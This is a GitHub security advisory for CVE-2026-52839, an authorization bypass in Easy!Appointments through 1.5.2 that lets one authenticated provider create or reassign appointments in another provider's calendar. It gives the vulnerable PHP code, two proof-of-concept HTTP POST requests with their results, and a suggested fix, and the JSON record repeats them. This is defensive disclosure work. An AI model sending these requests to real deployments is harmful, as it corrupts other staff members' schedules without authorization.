GHSA-W8XC-8G92-V77H
Vulnerability from github – Published: 2026-07-29 16:26 – Updated: 2026-07-29 16:26Summary
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error — type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
- Inject fake appointments into a colleague's schedule causing confusion and double-bookings
- Move their own appointments into another provider's calendar to hide or offload them
- Disrupt scheduling integrity for staff and customers
- Create unauthorized appointments that customers and admins attribute to the wrong provider
The write-before-crash bug in
store()makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.
Suggested Fix
In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Reporter
Yash Shendge (ashrexon) 2026-05-25
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.2"
},
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52839"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:26:25Z",
"nvd_published_at": "2026-07-14T16:17:00Z",
"severity": "LOW"
},
"details": "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider\u0027s schedule via `store`, or reassign existing appointments into a foreign provider\u0027s calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause \u2014 Step by Step Code Flow\n \n### Step 1 \u2014 Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers \u2014 proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n foreach ($appointments as $index =\u003e $appointment) {\n if ((int) $appointment[\u0027id_users_provider\u0027] !== (int) $user_id) {\n unset($appointments[$index]);\n }\n }\n}\n```\n \n### Step 2 \u2014 store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general \u2014 no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot(\u0027add\u0027, PRIV_APPOINTMENTS)) {\n abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n```\n \n### Step 3 \u2014 Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 \u2014 Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 \u2014 update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot(\u0027edit\u0027, PRIV_APPOINTMENTS)) {\n abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider\u0027s calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 \u2014 Inject appointment into foreign provider\u0027s schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` \u2014 type error on find()\n \n**But the row is committed:**\n```\nid start_datetime id_users_provider notes\n6 2026-05-29 15:00:00 2 foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 \u2014 Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id: 4\nforeign created appointment provider id: 2\nreassigned appointment provider id: 2\nprovider-visible appointments: 0\nPASS\n```\n \nThe attacker\u0027s appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment \u2014 a clinic, salon, or service business with multiple staff members \u2014 any authenticated provider can:\n \n- Inject fake appointments into a colleague\u0027s schedule causing confusion and double-bookings\n- Move their own appointments into another provider\u0027s calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder \u2014 the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n $appointment[\u0027id_users_provider\u0027] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
"id": "GHSA-w8xc-8g92-v77h",
"modified": "2026-07-29T16:26:25Z",
"published": "2026-07-29T16:26:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection \u2014 Authorization Bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.